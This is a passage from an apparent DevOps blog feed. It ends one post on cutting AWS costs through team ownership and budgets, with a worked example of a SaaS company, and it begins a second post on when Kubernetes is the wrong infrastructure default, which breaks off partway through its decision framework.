        </h2><h3 id="h3-phase-1-visibility-months-1-2" class="group relative scroll-mt-24">
        <a href="#h3-phase-1-visibility-months-1-2" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 1: Visibility (Months 1-2)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-1-visibility-months-1-2"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Goal</strong>: Make cost visible without changing behavior yet.</p>
<p><strong>Actions:</strong></p>
<ol>
<li>Tag all AWS resources with <code>service</code> and <code>team</code> tags</li>
<li>Use AWS Cost Allocation Tags to enable per-service reporting</li>
<li>Build dashboard showing cost by team and service</li>
<li>Send monthly cost reports to team leads</li>
</ol>
<p><strong>Effort</strong>: 1-2 engineers for 2-4 weeks (platform team)</p>
<p><strong>Tools</strong>: AWS Cost Explorer API, custom dashboard, or tools like Vantage, CloudHealth, Kubecost</p>
<p><strong>Expected outcome</strong>: Teams start asking &quot;why does our service cost $X?&quot;</p>
<h3 id="h3-phase-2-ownership-months-3-4" class="group relative scroll-mt-24">
        <a href="#h3-phase-2-ownership-months-3-4" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 2: Ownership (Months 3-4)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-2-ownership-months-3-4"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Goal</strong>: Map every resource to an owning team.</p>
<p><strong>Actions:</strong></p>
<ol>
<li>Create service catalog with ownership</li>
<li>Assign unowned resources (often 20-30% of spend)</li>
<li>Establish team infrastructure budgets</li>
<li>Create cost optimization guidelines (not mandates)</li>
</ol>
<p><strong>Effort</strong>: Product/platform collaboration, 4-6 weeks</p>
<p><strong>Expected outcome</strong>: No orphaned infrastructure. Every dollar has an owner.</p>
<h3 id="h3-phase-3-accountability-months-5-6" class="group relative scroll-mt-24">
        <a href="#h3-phase-3-accountability-months-5-6" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 3: Accountability (Months 5-6)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-3-accountability-months-5-6"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Goal</strong>: Tie cost to team decision-making.</p>
<p><strong>Actions:</strong></p>
<ol>
<li>Include infrastructure cost in team metrics</li>
<li>Quarterly budget reviews with team leads</li>
<li>Self-service infrastructure with guardrails</li>
<li>Cost visibility in provisioning tools (&quot;this RDS instance costs $300/month&quot;)</li>
</ol>
<p><strong>Effort</strong>: Process + tooling integration</p>
<p><strong>Expected outcome</strong>: Engineers consider cost during design, not after deployment.</p>
<h3 id="h3-phase-4-optimization-ongoing" class="group relative scroll-mt-24">
        <a href="#h3-phase-4-optimization-ongoing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Phase 4: Optimization (Ongoing)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-phase-4-optimization-ongoing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Goal</strong>: Continuous improvement driven by teams.</p>
<p><strong>Actions:</strong></p>
<ol>
<li>Teams optimize their own services</li>
<li>Platform team provides tooling and guidance</li>
<li>Share cost-saving patterns across teams</li>
<li>Reward teams that stay under budget (more experimental headroom)</li>
</ol>
<p><strong>Expected outcome</strong>: 30-50% cost reduction sustained over 12 months.</p>
<hr>
<h2 id="h2-real-world-example-series-b-saas-company" class="group relative scroll-mt-24">
        <a href="#h2-real-world-example-series-b-saas-company" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-World Example: Series B SaaS Company
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-real-world-example-series-b-saas-company"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Company</strong>: 80 engineers, $220K/month AWS bill (Feb 2025)</p>
<p><strong>Problem</strong>: Bill grew 200% over 18 months despite optimization efforts.</p>
<p><strong>Traditional approach tried:</strong></p>
<ul>
<li>Reserved instances: Saved $18K/month</li>
<li>Rightsizing: Saved $12K/month</li>
<li>Cleanup: Saved $8K/month</li>
<li><strong>Total savings: $38K/month (17%)</strong></li>
<li><strong>6 months later</strong>: Bill back to $210K/month</li>
</ul>
<p><strong>Organizational approach (June 2025):</strong></p>
<p><strong>Phase 1: Visibility</strong></p>
<ul>
<li>Tagged all resources</li>
<li>Built per-team cost dashboard</li>
<li>Discovered:<ul>
<li>25% of spend had no clear owner (old services, experiments)</li>
<li>3 teams accounted for 60% of bill</li>
<li>Staging environments cost 40% of production</li>
</ul>
</li>
</ul>
<p><strong>Phase 2: Ownership</strong></p>
<ul>
<li>Assigned all resources to teams</li>
<li>Shut down 15 abandoned projects ($22K/month)</li>
<li>Teams reviewed their services: &quot;Wait, we own THAT?&quot;</li>
</ul>
<p><strong>Phase 3: Accountability</strong></p>
<ul>
<li>Gave teams infrastructure budgets</li>
<li>Made cost visible during provisioning</li>
<li>Teams started optimizing:<ul>
<li>Analytics Team: Moved batch jobs to Spot (60% savings on compute)</li>
<li>Product Team: Consolidated 5 databases to 2 ($1,200/month savings)</li>
<li>Growth Team: Shut down staging, use PR environments ($3,500/month savings)</li>
</ul>
</li>
</ul>
<p><strong>Results after 6 months:</strong></p>
<ul>
<li>AWS bill: $140K/month (36% reduction from peak)</li>
<li>More importantly: Trend reversed</li>
<li>New services launch at appropriate size, not over-provisioned</li>
<li>Teams proactively optimize (&quot;We&#39;re 10% over budget this month, let&#39;s review&quot;)</li>
</ul>
<p><strong>Total savings: $80K/month sustained</strong></p>
<p><strong>Key difference</strong>: Previous optimization was centralized and reactive. New model is distributed and proactive.</p>
<hr>
<h2 id="h2-common-objections" class="group relative scroll-mt-24">
        <a href="#h2-common-objections" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common Objections
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-objections"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-engineers-shouldnt-have-to-think-about-cost" class="group relative scroll-mt-24">
        <a href="#h3-engineers-shouldnt-have-to-think-about-cost" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "Engineers shouldn't have to think about cost"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-engineers-shouldnt-have-to-think-about-cost"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Response</strong>: Engineers already make cost decisions—instance size, architecture, scaling policies. Making cost <strong>visible</strong> helps them make <strong>better</strong> decisions. It&#39;s not about penny-pinching; it&#39;s about informed trade-offs.</p>
<p><strong>Analogy</strong>: You wouldn&#39;t design a product feature without knowing how it affects user experience. Why design infrastructure without knowing how it affects cost?</p>
<h3 id="h3-cost-attribution-is-too-complex" class="group relative scroll-mt-24">
        <a href="#h3-cost-attribution-is-too-complex" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "Cost attribution is too complex"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cost-attribution-is-too-complex"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Response</strong>: It doesn&#39;t need to be perfect. 80% accuracy is enough for behavioral change. Use simple tagging (service + team). Shared resources (networking, monitoring) can remain centrally budgeted.</p>
<p><strong>Progressive approach</strong>:</p>
<ul>
<li>Start with easy wins: EC2, RDS, ElastiCache (60-70% of most bills)</li>
<li>Add data transfer, S3, Lambda later</li>
<li>Accept that some costs (CloudFront, Route53) stay shared</li>
</ul>
<h3 id="h3-teams-will-under-invest-in-reliability-to-save-money" class="group relative scroll-mt-24">
        <a href="#h3-teams-will-under-invest-in-reliability-to-save-money" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "Teams will under-invest in reliability to save money"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-teams-will-under-invest-in-reliability-to-save-money"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Response</strong>: Set guardrails and include reliability metrics alongside cost. Cost is one metric, not the only metric. If reliability suffers, the team is accountable for that too.</p>
<h3 id="h3-small-teams-cant-manage-their-own-infrastructure" class="group relative scroll-mt-24">
        <a href="#h3-small-teams-cant-manage-their-own-infrastructure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          "Small teams can't manage their own infrastructure"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-small-teams-cant-manage-their-own-infrastructure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Response</strong>: Service ownership doesn&#39;t mean every team runs their own ops. Platform team still provides:</p>
<ul>
<li>Self-service provisioning templates</li>
<li>Monitoring and alerting</li>
<li>On-call escalation</li>
<li>Infrastructure guidelines</li>
</ul>
<p><strong>Teams own the decisions</strong> (instance size, architecture). <strong>Platform team owns the tooling</strong>.</p>
<hr>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>1. Technical optimization plateaus at 20% savings.</strong> You can rightsize and buy reserved instances, but without organizational change, costs creep back.</p>
<p><strong>2. Team structure drives cloud spend more than technology choices.</strong> Centralized infrastructure with no cost accountability leads to systematic over-provisioning.</p>
<p><strong>3. Service ownership creates the right incentives.</strong> When teams see their costs and control their infrastructure, they optimize proactively instead of reactively.</p>
<p><strong>4. Visibility precedes accountability.</strong> You can&#39;t optimize what you don&#39;t measure. Start by making cost visible per service and per team.</p>
<p><strong>5. Budget is a communication tool, not a punishment.</strong> The goal is awareness and trade-offs, not blame. Over-budget triggers conversation about priorities, not penalties.</p>
<p><strong>6. 30-50% sustained cost reduction</strong> is achievable through organizational change. This dwarfs the 10-20% from technical optimization alone.</p>
<p><strong>7. Start simple: tag resources, build dashboards, assign ownership.</strong> You don&#39;t need perfect cost attribution. 80% accuracy changes behavior.</p>
<hr>
<h2 id="h2-the-bottom-line" class="group relative scroll-mt-24">
        <a href="#h2-the-bottom-line" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bottom Line
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bottom-line"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Your cloud bill reflects your organizational design:</p>
<p><strong>Centralized infrastructure</strong> → No cost accountability → Systematic over-provisioning → Runaway spending</p>
<p><strong>Service ownership</strong> → Visible costs → Informed trade-offs → Sustainable optimization</p>
<p>Technical fixes (rightsizing, reserved instances, cleanup) are necessary but insufficient. They address symptoms. Organizational structure addresses the root cause.</p>
<p><strong>The path forward:</strong></p>
<ol>
<li>Make cost visible by service and team (Months 1-2)</li>
<li>Assign clear ownership for every resource (Months 3-4)</li>
<li>Tie infrastructure cost to team budgets (Months 5-6)</li>
<li>Let teams optimize their own services (Ongoing)</li>
</ol>
<p>The companies that treat cloud cost as an <strong>organizational challenge</strong> outperform those who treat it as a <strong>technical problem</strong>. Not because they have better FinOps tools—because they&#39;ve aligned incentives with outcomes.</p>
<p>Your cloud bill isn&#39;t an AWS problem. It&#39;s a team structure problem.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[When Kubernetes Is the Wrong Default]]></title>
      <link>https://devops-daily.com/posts/when-kubernetes-is-wrong-default</link>
      <description><![CDATA[Most teams adopt Kubernetes too early. Here's a pragmatic framework for deciding between managed platforms, VMs, and Kubernetes based on your team size and workload characteristics.]]></description>
      <pubDate>Thu, 05 Mar 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/when-kubernetes-is-wrong-default</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Kubernetes]]></category><category><![CDATA[Infrastructure]]></category><category><![CDATA[Platform Engineering]]></category><category><![CDATA[DevOps]]></category><category><![CDATA[Cloud Architecture]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Kubernetes has become the default infrastructure choice for new projects, but it&#39;s often the wrong decision for teams under 30 engineers. This guide provides a decision framework based on team size, workload characteristics, and operational maturity. Most teams would ship faster with managed platforms like Heroku, Render, or DigitalOcean App Platform. VMs work better for stateful workloads and legacy applications. Kubernetes makes sense when you need multi-region deployment, complex networking, or have dedicated platform engineers.</p>
<hr>
<p>The industry treats Kubernetes as a default choice. Job postings list it as a requirement. Conference talks assume you&#39;re running it. Cloud providers optimize their offerings around it. This creates pressure to adopt Kubernetes even when it slows your team down.</p>
<p>The cost of premature Kubernetes adoption isn&#39;t just the learning curve. It&#39;s the <strong>3-6 month delay</strong> getting your first production deployment right. It&#39;s the <strong>full-time platform engineer</strong> you hire at month 8 when the team realizes they can&#39;t maintain it themselves. It&#39;s the <strong>velocity tax</strong> where simple changes require updating Helm charts, waiting for CI/CD pipelines, and debugging pod networking.</p>
<p>This guide gives you a framework for making infrastructure decisions based on what actually matters: team size, workload characteristics, and time to value.</p>
<h2 id="h2-the-three-tiers-of-infrastructure-complexity" class="group relative scroll-mt-24">
        <a href="#h2-the-three-tiers-of-infrastructure-complexity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Three Tiers of Infrastructure Complexity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-three-tiers-of-infrastructure-complexity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Infrastructure choices exist on a complexity spectrum. Each tier trades operational burden for control:</p>
<pre><code>                MANAGED PLATFORMS          VMs                    KUBERNETES
                (Heroku, Render, etc.)     (EC2, Droplets)        (EKS, GKE, etc.)
Complexity:     ██                         ████████               ████████████████
Control:        ████                       ████████████           ████████████████████
Time-to-Ship:   🚀 Days                    📦 Weeks              ⏳ Months
Team Size:      1-15                       5-30                   20+
</code></pre><p><strong>Managed Platforms</strong> abstract away infrastructure entirely. You push code, they handle runtime, scaling, SSL, logging, and deployment. Best for web applications, APIs, and background workers.</p>
<p><strong>VMs</strong> give you control over the OS, networking, and installed software. You configure once, then deploy applications through standard tooling. Best for stateful workloads, legacy apps, and teams that need OS-level control without orchestration complexity.</p>
<p><strong>Kubernetes</strong> provides container orchestration with advanced scheduling, networking, and deployment features. Best for multi-region deployments, complex microservices, or teams with platform engineering resources.</p>
<p>The key insight: <strong>moving right on this spectrum doesn&#39;t automatically make your infrastructure better</strong>. It makes it more flexible and more expensive to operate.</p>
<h2 id="h2-decision-framework-what-matters-more-than-you-think" class="group relative scroll-mt-24">
        <a href="#h2-decision-framework-what-matters-more-than-you-think" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision Framework: What Matters More Than You Think
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-framework-what-matters-more-than-you-think"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Stop asking &quot;should we use Kubernetes?&quot; and start asking these questions:</p>
<h3 id="h3-1-how-many-engineers-are-building-product" class="group relative scroll-mt-24">
        <a href="#h3-1-how-many-engineers-are-building-product" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. How Many Engineers Are Building Product?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-how-many-engineers-are-building-product"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Team size predicts infrastructure capacity better than anything else:</p>
<ul>
<li><strong>1-10 engineers</strong>: You can&#39;t afford dedicated platform work. Every hour spent on infrastructure is an hour not building product. Use managed platforms.</li>
<li><strong>10-30 engineers</strong>: You might have one person spending 50% time on infrastructure. VMs or managed platforms work. Kubernetes requires too much ongoing maintenance.</li>
<li><strong>30-60 engineers</strong>: Platform work becomes a full-time role. Kubernetes becomes viable if workload characteristics justify it.</li>
<li><strong>60+ engineers</strong>: Platform team can justify itself. Multiple infrastructure patterns coexist. Kubernetes makes sense for appropriate workloads.</li>
</ul>
<p>The math is simple: if Kubernetes requires 1.5 full-time engineers to operate, that&#39;s <strong>10-15% of a 10-person team&#39;s capacity</strong>. You can&#39;t ship product at that burn rate.</p>
<h3 id="h3-2-what-do-your-workloads-actually-look-like" class="group relative scroll-mt-24">
        <a href="#h3-2-what-do-your-workloads-actually-look-like" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. What Do Your Workloads Actually Look Like?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-what-do-your-workloads-actually-look-like"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Infrastructure should match workload shape, not resume trends:</p>
<p><strong>Managed platforms win for:</strong></p>
<ul>
<li>Web applications with stateless HTTP servers</li>
<li>APIs serving JSON over HTTPS</li>
<li>Background job processors (Sidekiq, Celery, etc.)</li>
<li>Scheduled tasks and cron jobs</li>
<li>Standard databases (Postgres, MySQL, Redis)</li>
</ul>
<p><strong>VMs work better for:</strong></p>
<ul>
<li>Stateful applications with local disk requirements</li>
<li>Legacy applications built for bare metal/VMs</li>
<li>Applications requiring specific kernel versions or system libraries</li>
<li>GPU workloads without Kubernetes expertise</li>
<li>Applications sensitive to network overhead</li>
</ul>
<p><strong>Kubernetes justified for:</strong></p>
<ul>
<li>Multi-region active-active deployments</li>
<li>Complex service mesh requirements (mTLS, advanced routing)</li>
<li>Applications requiring sophisticated autoscaling (HPA + VPA + custom metrics)</li>
<li>Workloads with complex scheduling constraints (affinity, taints, tolerations)</li>
<li>Multi-tenancy isolation requirements</li>
</ul>
<p>If 90% of your workload is &quot;web app + background workers + Postgres,&quot; Kubernetes is architectural gold-plating.</p>
<h3 id="h3-3-how-fast-do-you-need-to-ship" class="group relative scroll-mt-24">
        <a href="#h3-3-how-fast-do-you-need-to-ship" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. How Fast Do You Need to Ship?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-how-fast-do-you-need-to-ship"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Time-to-production matters more than most teams admit:</p>
<ul>
